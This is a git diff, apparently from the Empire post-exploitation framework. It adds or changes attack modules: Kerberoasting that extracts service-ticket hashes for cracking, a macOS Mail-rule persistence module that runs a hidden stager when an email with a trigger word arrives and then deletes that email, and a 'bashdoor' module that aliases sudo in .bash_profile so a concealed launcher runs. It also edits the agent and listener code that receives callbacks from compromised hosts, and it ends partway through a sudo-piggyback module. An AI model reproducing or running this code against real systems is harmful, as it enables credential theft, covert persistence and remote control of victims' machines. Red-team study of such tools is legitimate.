|
||||
Write-Verbose "Using additional LDAP filter: $LDAPFilter"
|
||||
$Filter += "$LDAPFilter"
|
||||
}
|
||||
|
||||
$UserSearcher.filter = "(&(samAccountType=805306368)$Filter)"
|
||||
Write-Verbose "Invoke-Kerberoast search filter string: $($UserSearcher.filter)"
|
||||
|
||||
$Results = $UserSearcher.FindAll()
|
||||
$Results | Where-Object {$_} | ForEach-Object {
|
||||
$User = Convert-LDAPProperty -Properties $_.Properties
|
||||
$User.PSObject.TypeNames.Insert(0, 'PowerView.User')
|
||||
$User
|
||||
} | Where-Object {$_.SamAccountName -notmatch 'krbtgt'} | Get-SPNTicket @GetSPNTicketArguments
|
||||
|
||||
$Results.dispose()
|
||||
$UserSearcher.dispose()
|
||||
}
|
||||
}
|
||||
}
|
File diff suppressed because one or more lines are too long
|
@ -1300,10 +1300,10 @@ class Agents:
|
|||
output += "\n[+] Agent %s now active:\n" % (sessionID)
|
||||
self.mainMenu.agents.save_agent_log(sessionID, output)
|
||||
|
||||
# # TODO: if a script autorun is set, set that as the agent's first tasking
|
||||
# autorun = self.get_autoruns()
|
||||
# if autorun and autorun[0] != '' and autorun[1] != '':
|
||||
# self.add_agent_task_db(sessionID, autorun[0], autorun[1])
|
||||
# if a script autorun is set, set that as the agent's first tasking
|
||||
autorun = self.get_autoruns_db()
|
||||
if autorun and autorun[0] != '' and autorun[1] != '':
|
||||
self.add_agent_task_db(sessionID, autorun[0], autorun[1])
|
||||
|
||||
return "STAGE2: %s" % (sessionID)
|
||||
|
||||
|
@ -1522,9 +1522,9 @@ class Agents:
|
|||
self.mainMenu.agents.update_agent_sysinfo_db(sessionID, listener=listener, internal_ip=internal_ip, username=username, hostname=hostname, os_details=os_details, high_integrity=high_integrity, process_name=process_name, process_id=process_id, language_version=language_version, language=language)
|
||||
|
||||
sysinfo = '{0: <18}'.format("Listener:") + listener + "\n"
|
||||
sysinfo += '{0: <18}'.format("Internal IP:") + internal_ip + "\n"
|
||||
sysinfo += '{0: <16}'.format("Internal IP:") + internal_ip + "\n"
|
||||
sysinfo += '{0: <18}'.format("Username:") + username + "\n"
|
||||
sysinfo += '{0: <18}'.format("Hostname:") + hostname + "\n"
|
||||
sysinfo += '{0: <16}'.format("Hostname:") + hostname + "\n"
|
||||
sysinfo += '{0: <18}'.format("OS:") + os_details + "\n"
|
||||
sysinfo += '{0: <18}'.format("High Integrity:") + str(high_integrity) + "\n"
|
||||
sysinfo += '{0: <18}'.format("Process Name:") + process_name + "\n"
|
||||
|
|
|
@ -912,7 +912,7 @@ class AgentsMenu(cmd.Cmd):
|
|||
if name.lower() == 'all':
|
||||
self.mainMenu.agents.clear_agent_tasks_db('all')
|
||||
elif name.lower() == 'autorun':
|
||||
self.mainMenu.agents.clear_autoruns()
|
||||
self.mainMenu.agents.clear_autoruns_db()
|
||||
else:
|
||||
# extract the sessionID and clear the agent tasking
|
||||
sessionID = self.mainMenu.agents.get_agent_id_db(name)
|
||||
|
@ -1709,7 +1709,7 @@ class PowerShellAgentMenu(cmd.Cmd):
|
|||
functions = helpers.parse_powershell_script(script_data)
|
||||
|
||||
# set this agent's tab-completable functions
|
||||
self.mainMenu.agents.set_agent_functions(self.sessionID, functions)
|
||||
self.mainMenu.agents.set_agent_functions_db(self.sessionID, functions)
|
||||
|
||||
else:
|
||||
print helpers.color("[!] Please enter a valid script path")
|
||||
|
@ -3223,7 +3223,7 @@ class ModuleMenu(cmd.Cmd):
|
|||
# set the script to be the global autorun
|
||||
elif agentName.lower() == "autorun":
|
||||
|
||||
self.mainMenu.agents.set_autoruns(taskCommand, moduleData)
|
||||
self.mainMenu.agents.set_autoruns_db(taskCommand, moduleData)
|
||||
dispatcher.send("[*] Set module %s to be global script autorun." % (self.moduleName), sender="Empire")
|
||||
|
||||
else:
|
||||
|
|
|
@ -78,47 +78,39 @@ class Listeners:
|
|||
# parse and auto-set some host parameters
|
||||
if option == 'Host':
|
||||
|
||||
|
||||
if not value.startswith('http'):
|
||||
parts = value.split(':')
|
||||
# if there's a current ssl cert path set, assume this is https
|
||||
if ('CertPath' in listenerObject.options) and (listenerObject.options['CertPath']['Value'] != ''):
|
||||
listenerObject.options['Host']['Value'] = "https://%s" % (value)
|
||||
protocol = 'https'
|
||||
defaultPort = 443
|
||||
else:
|
||||
listenerObject.options['Host']['Value'] = value
|
||||
parts = value.split(":")
|
||||
if len(parts) == 2:
|
||||
listenerObject.options['Port']['Value'] = parts[1]
|
||||
listenerObject.options['Host']['Value'] = "http://%s" % (value)
|
||||
|
||||
# if there's a port specified, set that as well
|
||||
|
||||
protocol = 'http'
|
||||
defaultPort = 80
|
||||
|
||||
elif value.startswith('https'):
|
||||
listenerObject.options['Host']['Value'] = value
|
||||
parts = value.split(":")
|
||||
# check if we have a port to extract
|
||||
if len(parts) == 3:
|
||||
# in case there's a resource uri at the end
|
||||
parts = parts[2].split('/')
|
||||
listenerObject.options['Port']['Value'] = parts[0]
|
||||
#else:
|
||||
#listenerObject.options['Port']['Value'] = '443'
|
||||
value = value.split('//')[1]
|
||||
parts = value.split(':')
|
||||
protocol = 'https'
|
||||
defaultPort = 443
|
||||
|
||||
elif value.startswith('http'):
|
||||
listenerObject.options['Host']['Value'] = value
|
||||
parts = value.split(":")
|
||||
# check if we have a port to extract
|
||||
if len(parts) == 3:
|
||||
# in case there's a resource uri at the end
|
||||
parts = parts[2].split("/")
|
||||
listenerObject.options['Port']['Value'] = parts[0]
|
||||
#else:
|
||||
#listenerObject.options['Port']['Value'] = '80'
|
||||
|
||||
# if host does not start with http(s), set port as well
|
||||
|
||||
|
||||
value = value.split('//')[1]
|
||||
parts = value.split(':')
|
||||
protocol = 'http'
|
||||
defaultPort = 80
|
||||
|
||||
if len(parts) != 1 and parts[-1].isdigit():
|
||||
# if a port is specified with http://host:port
|
||||
listenerObject.options['Host']['Value'] = "%s://%s" % (protocol, value)
|
||||
listenerObject.options['Port']['Value'] = parts[-1]
|
||||
elif listenerObject.options['Port']['Value'] != '':
|
||||
# otherwise, check if the port value was manually set
|
||||
listenerObject.options['Host']['Value'] = "%s://%s:%s" % (protocol, value, listenerObject.options['Port']['Value'])
|
||||
else:
|
||||
# otherwise use default port
|
||||
listenerObject.options['Host']['Value'] = "%s://%s" % (protocol, value)
|
||||
listenerObject.options['Port']['Value'] = defaultPort
|
||||
|
||||
return True
|
||||
|
||||
|
|
|
@ -673,6 +673,7 @@ def send_message(packets=None):
|
|||
# see if we can extract the 'routing packet' from the specified cookie location
|
||||
# NOTE: this can be easily moved to a paramter, another cookie value, etc.
|
||||
if 'session' in cookie:
|
||||
dispatcher.send("[*] GET cookie value from %s : %s" % (clientIP, cookie), sender='listeners/http')
|
||||
cookieParts = cookie.split(';')
|
||||
for part in cookieParts:
|
||||
if part.startswith('session'):
|
||||
|
@ -731,10 +732,12 @@ def send_message(packets=None):
|
|||
stagingKey = listenerOptions['StagingKey']['Value']
|
||||
clientIP = request.remote_addr
|
||||
|
||||
requestData = request.get_data()
|
||||
dispatcher.send("[*] POST request data length from %s : %s" % (clientIP, len(requestData)), sender='listeners/http')
|
||||
|
||||
# the routing packet should be at the front of the binary request.data
|
||||
# NOTE: this can also go into a cookie/etc.
|
||||
|
||||
dataResults = self.mainMenu.agents.handle_agent_data(stagingKey, request.get_data(), listenerOptions, clientIP)
|
||||
dataResults = self.mainMenu.agents.handle_agent_data(stagingKey, requestData, listenerOptions, clientIP)
|
||||
if dataResults and len(dataResults) > 0:
|
||||
for (language, results) in dataResults:
|
||||
if results:
|
||||
|
|
|
@ -90,7 +90,7 @@ class Module:
|
|||
def generate(self):
|
||||
|
||||
# read in the common module source code
|
||||
moduleSource = self.mainMenu.stagers.installPath + "/data/module_source/code_execution/Invoke-Shellcode.ps1"
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/code_execution/Invoke-Shellcode.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
|
|
|
@ -1,84 +0,0 @@
|
|||
from lib.common import helpers
|
||||
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Get-SPNTickets',
|
||||
|
||||
'Author': ['@harmj0y'],
|
||||
|
||||
'Description': ('Requests kerberos tickets for all users with a non-null service principal name (SPN) and extracts them into a format ready for John.'),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
'OutputExtension' : None,
|
||||
|
||||
'NeedsAdmin' : False,
|
||||
|
||||
'OpsecSafe' : True,
|
||||
|
||||
'Language' : 'powershell',
|
||||
|
||||
'MinLanguageVersion' : '2',
|
||||
|
||||
'Comments': [
|
||||
'https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/'
|
||||
]
|
||||
}
|
||||
|
||||
# any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent' : {
|
||||
'Description' : 'Agent to run module on.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'Username' : {
|
||||
'Description' : 'Specific username to request a ticket for.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
|
||||
moduleName = self.info["Name"]
|
||||
userName = self.options['Username']['Value']
|
||||
|
||||
# read in the common powerview.ps1 module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
except:
|
||||
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||
return ""
|
||||
|
||||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
# get just the code needed for the specified function
|
||||
script = helpers.generate_dynamic_powershell_script(moduleCode, ["Get-NetUser", "Request-SPNTicket"])
|
||||
|
||||
if userName.strip() != '':
|
||||
script += " Get-NetUser '%s' |" % (userName)
|
||||
else:
|
||||
script += ' Get-NetUser |'
|
||||
script += 'Request-SPNTicket -EncPart | fl | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||
|
||||
return script
|
|
@ -0,0 +1,125 @@
|
|||
from lib.common import helpers
|
||||
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Invoke-Kerberoast',
|
||||
|
||||
'Author': ['@harmj0y', '@machosec'],
|
||||
|
||||
'Description': ('Requests kerberos tickets for all users with a non-null service principal name (SPN) and extracts them into a format ready for John or Hashcat.'),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
'OutputExtension' : None,
|
||||
|
||||
'NeedsAdmin' : False,
|
||||
|
||||
'OpsecSafe' : True,
|
||||
|
||||
'Language' : 'powershell',
|
||||
|
||||
'MinLanguageVersion' : '2',
|
||||
|
||||
'Comments': [
|
||||
'https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/',
|
||||
'https://gist.github.com/HarmJ0y/53a837fce877e32e18d78acbb08c8fe9'
|
||||
]
|
||||
}
|
||||
|
||||
# any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent' : {
|
||||
'Description' : 'Agent to run module on.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'Identity' : {
|
||||
'Description' : 'Specific SamAccountName, DistinguishedName, SID, or GUID to kerberoast.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'AdminCount' : {
|
||||
'Description' : 'Kerberoast privileged accounts protected by AdminSDHolder.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Domain' : {
|
||||
'Description' : 'Specifies the domain to use for the query, defaults to the current domain.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'LDAPFilter' : {
|
||||
'Description' : 'Specifies an LDAP query string that is used to filter Active Directory objects.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'SearchBase' : {
|
||||
'Description' : 'The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local".',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Server' : {
|
||||
'Description' : 'Specifies an Active Directory server (domain controller) to bind to.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'SearchScope' : {
|
||||
'Description' : 'Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'OutputFormat' : {
|
||||
'Description' : "Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format.",
|
||||
'Required' : False,
|
||||
'Value' : 'John'
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
|
||||
moduleName = self.info['Name']
|
||||
|
||||
# read in the common powerview.ps1 module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-Kerberoast.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
except:
|
||||
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||
return ""
|
||||
|
||||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
script = moduleCode
|
||||
script += "\nInvoke-Kerberoast "
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
if values['Value'] and values['Value'] != '':
|
||||
if values['Value'].lower() == "true":
|
||||
# if we're just adding a switch
|
||||
script += " -" + str(option)
|
||||
else:
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
script += '| fl | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||
|
||||
return script
|
|
@ -84,7 +84,7 @@ class Module:
|
|||
script = moduleCode
|
||||
|
||||
# generate the launcher code without base64 encoding
|
||||
l = self.mainMenu.stagers.stagers['launcher']
|
||||
l = self.mainMenu.stagers.stagers['multi/launcher']
|
||||
l.options['Listener']['Value'] = self.options['Listener']['Value']
|
||||
l.options['UserAgent']['Value'] = self.options['UserAgent']['Value']
|
||||
l.options['Proxy']['Value'] = self.options['Proxy']['Value']
|
||||
|
|
|
@ -49,12 +49,12 @@ class Module:
|
|||
},
|
||||
'Password' : {
|
||||
'Description' : 'Password to test.',
|
||||
'Required' : False,
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'UserName' : {
|
||||
'Description' : '[domain\]username to test.',
|
||||
'Required' : False,
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'NoPing' : {
|
||||
|
|
|
@ -9,7 +9,7 @@ class Module:
|
|||
|
||||
'Author': ['@harmj0y'],
|
||||
|
||||
'Description': ("Displays a specified message to the a user."),
|
||||
'Description': ("Displays a specified message to the user."),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
|
|
|
@ -0,0 +1,232 @@
|
|||
from time import time
|
||||
from random import choice
|
||||
from string import ascii_uppercase
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
# metadata info about the module, not modified during runtime
|
||||
self.info = {
|
||||
# name for the module that will appear in module menus
|
||||
'Name': 'Mail',
|
||||
|
||||
# list of one or more authors for the module
|
||||
'Author': ['@n00py'],
|
||||
|
||||
# more verbose multi-line description of the module
|
||||
'Description': ('Installs a mail rule that will execute an AppleScript stager when a trigger word is present in the Subject of an incoming mail.'),
|
||||
|
||||
# True if the module needs to run in the background
|
||||
'Background' : False,
|
||||
|
||||
# File extension to save the file as
|
||||
'OutputExtension' : None,
|
||||
|
||||
# if the module needs administrative privileges
|
||||
'NeedsAdmin' : False,
|
||||
|
||||
# True if the method doesn't touch disk/is reasonably opsec safe
|
||||
'OpsecSafe' : False,
|
||||
|
||||
# the module language
|
||||
'Language': 'python',
|
||||
|
||||
# the minimum language version needed
|
||||
'MinLanguageVersion': '2.6',
|
||||
|
||||
# list of any references/other comments
|
||||
'Comments': ['https://github.com/n00py/MailPersist']
|
||||
}
|
||||
|
||||
# any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent' : {
|
||||
# The 'Agent' option is the only one that MUST be in a module
|
||||
'Description' : 'Agent to execute module on.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'Listener' : {
|
||||
'Description' : 'Listener to use.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'SafeChecks': {
|
||||
'Description': 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.',
|
||||
'Required': True,
|
||||
'Value': 'True'
|
||||
},
|
||||
'UserAgent' : {
|
||||
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
|
||||
'Required' : False,
|
||||
'Value' : 'default'
|
||||
},
|
||||
'RuleName' : {
|
||||
'Description' : 'Name of the Rule.',
|
||||
'Required' : True,
|
||||
'Value' : 'Spam Filter'
|
||||
},
|
||||
'Trigger' : {
|
||||
'Description' : 'The trigger word.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
}
|
||||
}
|
||||
#
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
# During instantiation, any settable option parameters
|
||||
# are passed as an object set to the module and the
|
||||
# options dictionary is automatically set. This is mostly
|
||||
# in case options are passed on the command line
|
||||
if params:
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
|
||||
ruleName = self.options['RuleName']['Value']
|
||||
trigger = self.options['Trigger']['Value']
|
||||
listenerName = self.options['Listener']['Value']
|
||||
userAgent = self.options['UserAgent']['Value']
|
||||
safeChecks = self.options['SafeChecks']['Value']
|
||||
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='python', userAgent=userAgent, safeChecks=safeChecks)
|
||||
launcher = launcher.replace('"', '\\"')
|
||||
launcher = launcher.replace('"', '\\"')
|
||||
launcher = "do shell script \"%s\"" % (launcher)
|
||||
hex = '0123456789ABCDEF'
|
||||
def UUID():
|
||||
return ''.join([choice(hex) for x in range(8)]) + "-" + ''.join(
|
||||
[choice(hex) for x in range(4)]) + "-" + ''.join([choice(hex) for x in range(4)]) + "-" + ''.join(
|
||||
[choice(hex) for x in range(4)]) + "-" + ''.join([choice(hex) for x in range(12)])
|
||||
CriterionUniqueId = UUID()
|
||||
RuleId = UUID()
|
||||
TimeStamp = str(int(time()))[0:9]
|
||||
SyncedRules = "/tmp/" + ''.join(choice(ascii_uppercase) for i in range(12))
|
||||
RulesActiveState = "/tmp/" + ''.join(choice(ascii_uppercase) for i in range(12))
|
||||
AppleScript = ''.join(choice(ascii_uppercase) for i in range(12)) + ".scpt"
|
||||
plist = '''<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<array>
|
||||
<dict>
|
||||
<key>AllCriteriaMustBeSatisfied</key>
|
||||
<string>NO</string>
|
||||
<key>AppleScript</key>
|
||||
<string>''' + AppleScript + '''</string>
|
||||
<key>AutoResponseType</key>
|
||||
<integer>0</integer>
|
||||
<key>Criteria</key>
|
||||
<array>
|
||||
<dict>
|
||||
<key>CriterionUniqueId</key>
|
||||
<string>''' + CriterionUniqueId + '''</string>
|
||||
<key>Expression</key>
|
||||
<string>''' + str(trigger) + '''</string>
|
||||
<key>Header</key>
|
||||
<string>Subject</string>
|
||||
</dict>
|
||||
</array>
|
||||
<key>Deletes</key>
|
||||
<string>YES</string>
|
||||
<key>HighlightTextUsingColor</key>
|
||||
<string>NO</string>
|
||||
<key>MarkFlagged</key>
|
||||
<string>NO</string>
|
||||
<key>MarkRead</key>
|
||||
<string>NO</string>
|
||||
<key>NotifyUser</key>
|
||||
<string>NO</string>
|
||||
<key>RuleId</key>
|
||||
<string>''' + RuleId + '''</string>
|
||||
<key>RuleName</key>
|
||||
<string>''' + str(ruleName) + '''</string>
|
||||
<key>SendNotification</key>
|
||||
<string>NO</string>
|
||||
<key>ShouldCopyMessage</key>
|
||||
<string>NO</string>
|
||||
<key>ShouldTransferMessage</key>
|
||||
<string>NO</string>
|
||||
<key>TimeStamp</key>
|
||||
<integer>''' + TimeStamp + '''</integer>
|
||||
<key>Version</key>
|
||||
<integer>1</integer>
|
||||
</dict>
|
||||
</array>
|
||||
</plist>'''
|
||||
plist2 = '''<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>''' + RuleId + '''</key>
|
||||
<true/>
|
||||
</dict>
|
||||
</plist>
|
||||
'''
|
||||
script = """
|
||||
import os
|
||||
home = os.getenv("HOME")
|
||||
AppleScript = '%s'
|
||||
SyncedRules = '%s'
|
||||
RulesActiveState = '%s'
|
||||
plist = \"\"\"%s\"\"\"
|
||||
plist2 = \"\"\"%s\"\"\"
|
||||
payload = \'\'\'%s\'\'\'
|
||||
payload = payload.replace('&\"', '& ')
|
||||
payload += "kill `ps -ax | grep ScriptMonitor |grep -v grep | awk \'{print $1}\'`"
|
||||
payload += '\"'
|
||||
script = home + "/Library/Application Scripts/com.apple.mail/" + AppleScript
|
||||
|
||||
os.system("touch " + SyncedRules)
|
||||
with open(SyncedRules, 'w+') as f:
|
||||
f.write(plist)
|
||||
f.close()
|
||||
|
||||
os.system("touch " + RulesActiveState)
|
||||
with open(RulesActiveState, 'w+') as f:
|
||||
f.write(plist2)
|
||||
f.close()
|
||||
|
||||
with open(script, 'w+') as f:
|
||||
f.write(payload)
|
||||
f.close()
|
||||
|
||||
with open("/System/Library/CoreServices/SystemVersion.plist", 'r') as a:
|
||||
v = a.read()
|
||||
version = "V1"
|
||||
if "10.7" in v:
|
||||
version = "V2"
|
||||
if "10.7" in v:
|
||||
version = "V2"
|
||||
if "10.8" in v:
|
||||
version = "V2"
|
||||
if "10.9" in v:
|
||||
version = "V2"
|
||||
if "10.10" in v:
|
||||
version = "V2"
|
||||
if "10.11" in v:
|
||||
version = "V3"
|
||||
if "10.12" in v:
|
||||
version = "V4"
|
||||
a.close()
|
||||
|
||||
if os.path.isfile(home + "/Library/Mobile Documents/com~apple~mail/Data/" + version + "/MailData/ubiquitous_SyncedRules.plist"):
|
||||
print "Trying to write to Mobile"
|
||||
os.system("/usr/libexec/PlistBuddy -c 'Merge " + SyncedRules + "' " + home + "/Library/Mobile\ Documents/com~apple~mail/Data/" + version + "/MailData/ubiquitous_SyncedRules.plist")
|
||||
else:
|
||||
os.system("/usr/libexec/PlistBuddy -c 'Merge " + SyncedRules + "' " + home + "/Library/Mail/" + version + "/MailData/SyncedRules.plist")
|
||||
print "Writing to main rules"
|
||||
|
||||
os.system("/usr/libexec/PlistBuddy -c 'Merge " + RulesActiveState + "' "+ home + "/Library/Mail/" + version + "/MailData/RulesActiveState.plist")
|
||||
os.system("rm " + SyncedRules)
|
||||
os.system("rm " + RulesActiveState)
|
||||
|
||||
""" % (AppleScript, SyncedRules, RulesActiveState, plist, plist2, launcher)
|
||||
return script
|
|
@ -0,0 +1,107 @@
|
|||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
# metadata info about the module, not modified during runtime
|
||||
self.info = {
|
||||
# name for the module that will appear in module menus
|
||||
'Name': 'bashdoor',
|
||||
|
||||
# list of one or more authors for the module
|
||||
'Author': ['@n00py'],
|
||||
|
||||
# more verbose multi-line description of the module
|
||||
'Description': 'Creates an alias in the .bash_profile to cause the sudo command to execute a stager and pass through the origional command back to sudo',
|
||||
|
||||
# True if the module needs to run in the background
|
||||
'Background' : False,
|
||||
|
||||
# File extension to save the file as
|
||||
'OutputExtension' : "",
|
||||
|
||||
# if the module needs administrative privileges
|
||||
'NeedsAdmin' : False,
|
||||
|
||||
# True if the method doesn't touch disk/is reasonably opsec safe
|
||||
'OpsecSafe' : False,
|
||||
|
||||
# the module language
|
||||
'Language' : 'python',
|
||||
|
||||
# the minimum language version needed
|
||||
'MinLanguageVersion' : '2.6',
|
||||
|
||||
# list of any references/other comments
|
||||
'Comments': []
|
||||
}
|
||||
|
||||
# any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent' : {
|
||||
'Description' : 'Agent to execute module on.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'SafeChecks': {
|
||||
'Description': 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.',
|
||||
'Required': True,
|
||||
'Value': 'True'
|
||||
},
|
||||
'Listener' : {
|
||||
'Description' : 'Listener to use.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'UserAgent' : {
|
||||
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
|
||||
'Required' : False,
|
||||
'Value' : 'default'
|
||||
}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
# During instantiation, any settable option parameters
|
||||
# are passed as an object set to the module and the
|
||||
# options dictionary is automatically set. This is mostly
|
||||
# in case options are passed on the command line
|
||||
if params:
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
|
||||
# extract all of our options
|
||||
listenerName = self.options['Listener']['Value']
|
||||
userAgent = self.options['UserAgent']['Value']
|
||||
safeChecks = self.options['SafeChecks']['Value']
|
||||
# generate the launcher code
|
||||
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='python', encode=True, userAgent=userAgent, safeChecks=safeChecks)
|
||||
launcher = launcher.replace('"', '\\"')
|
||||
script = '''
|
||||
import os
|
||||
from random import choice
|
||||
from string import ascii_uppercase
|
||||
home = os.getenv("HOME")
|
||||
randomStr = ''.join(choice(ascii_uppercase) for i in range(12))
|
||||
bashlocation = home + "/Library/." + randomStr + ".sh"
|
||||
with open(home + "/.bash_profile", "a") as profile:
|
||||
profile.write("alias sudo='sudo sh -c '\\\\''" + bashlocation + " & exec \\"$@\\"'\\\\'' sh'")
|
||||
launcher = "%s"
|
||||
stager = "#!/bin/bash\\n"
|
||||
stager += launcher
|
||||
with open(bashlocation, 'w') as f:
|
||||
f.write(stager)
|
||||
f.close()
|
||||
os.chmod(bashlocation, 0755)
|
||||
''' % (launcher)
|
||||
return script
|
||||
|
||||
|
|
@ -0,0 +1,118 @@
|
|||
from lib.common import helpers
|
||||
|
||||
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
# metadata info about the module, not modified during runtime
|
||||
self.info = {
|
||||
# name for the module that will appear in module menus
|
||||
'Name': 'SudoPiggyback',
|
||||
|
||||
# list of one or more authors for the module
|
||||
'Author': ['@n00py'],
|
||||
|
||||
# more verbose multi-line description of the module
|
||||
'Description': ('Spawns a new EmPyre agent using an existing sudo session. This works up until El Capitan.'),
|
||||
|
||||
# True if the module needs to run in the background
|
||||
'Background' : False,
|
||||
|
||||
# File extension to save the file as
|
||||
'OutputExtension' : "",
|
||||
|
||||
# if the module needs administrative privileges
|
||||
'NeedsAdmin' : False,
|
||||
|
||||
# True if the method doesn't touch disk/is reasonably opsec safe
|
||||
'OpsecSafe' : False,
|
||||
|
||||
# the module language
|
||||
'Language': 'python',
|
||||
|
||||
# the minimum language version needed
|
||||
'MinLanguageVersion': '2.6',
|
||||
|
||||
# list of any references/other comments
|
||||
'Comments': ['Inspired by OS X Incident Response by Jason Bradley']
|
||||
}
|
||||
|
||||
# any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent' : {
|
||||
'Description' : 'Agent to execute module on.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'Listener' : {
|
||||
'Description' : 'Listener to use.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'SafeChecks': {
|
||||
'Description': 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.',
|
||||
'Required': True,
|
||||
'Value': 'True'
|
||||
},
|
||||
'UserAgent' : {
|
||||
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
|
||||
'Required' : False,
|
||||
'Value' : 'default'
|
||||
}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
# During instantiation, any settable option parameters
|
||||
# are passed as an object set to the module and the
|
||||
# options dictionary is automatically set. This is mostly
|
||||
# in case options are passed on the command line
|
